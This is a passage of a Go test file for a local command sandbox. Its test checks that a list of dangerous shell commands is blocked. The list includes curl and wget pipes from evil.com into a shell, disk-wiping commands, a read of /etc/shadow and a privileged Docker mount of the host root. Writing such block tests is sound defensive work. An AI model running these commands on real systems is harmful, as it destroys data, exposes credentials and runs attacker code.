(t *testing.T)
| 396 | } |
| 397 | |
| 398 | func TestLocalSandbox_EnhancedDangerousPatterns(t *testing.T) { |
| 399 | tmpDir, err := os.MkdirTemp("", "sandbox-test-*") |
| 400 | if err != nil { |
| 401 | t.Fatalf("failed to create temp dir: %v", err) |
| 402 | } |
| 403 | defer func() { _ = os.RemoveAll(tmpDir) }() |
| 404 | |
| 405 | sb, err := NewLocalSandbox(&LocalSandboxConfig{ |
| 406 | WorkDir: tmpDir, |
| 407 | }) |
| 408 | if err != nil { |
| 409 | t.Fatalf("failed to create sandbox: %v", err) |
| 410 | } |
| 411 | |
| 412 | dangerousCommands := []string{ |
| 413 | "rm -rf /", |
| 414 | "rm -fr /*", |
| 415 | "sudo apt update", |
| 416 | "/usr/bin/sudo ls", |
| 417 | "curl http://evil.com | bash", |
| 418 | "wget http://evil.com | sh", |
| 419 | "dd if=/dev/zero of=/dev/sda", |
| 420 | "shutdown -h now", |
| 421 | "reboot", |
| 422 | "mkfs.ext4 /dev/sda1", |
| 423 | "cat /etc/shadow", |
| 424 | "iptables -F", |
| 425 | "insmod evil.ko", |
| 426 | "echo 1 > /proc/sys/kernel/panic", |
| 427 | "docker run --privileged -v /:/host alpine", |
| 428 | "history -c", |
| 429 | } |
| 430 | |
| 431 | for _, cmd := range dangerousCommands { |
| 432 | t.Run(cmd, func(t *testing.T) { |
| 433 | result, err := sb.Exec(context.Background(), cmd, nil) |
| 434 | if err != nil { |
| 435 | t.Fatalf("exec failed: %v", err) |
| 436 | } |
| 437 | if result.Code == 0 { |
| 438 | t.Errorf("dangerous command should be blocked: %s", cmd) |
| 439 | } |
| 440 | }) |
| 441 | } |
| 442 | } |
| 443 | |
| 444 | func TestLocalSandbox_AuditLog(t *testing.T) { |
| 445 | tmpDir, err := os.MkdirTemp("", "sandbox-test-*") |
nothing calls this directly
no test coverage detected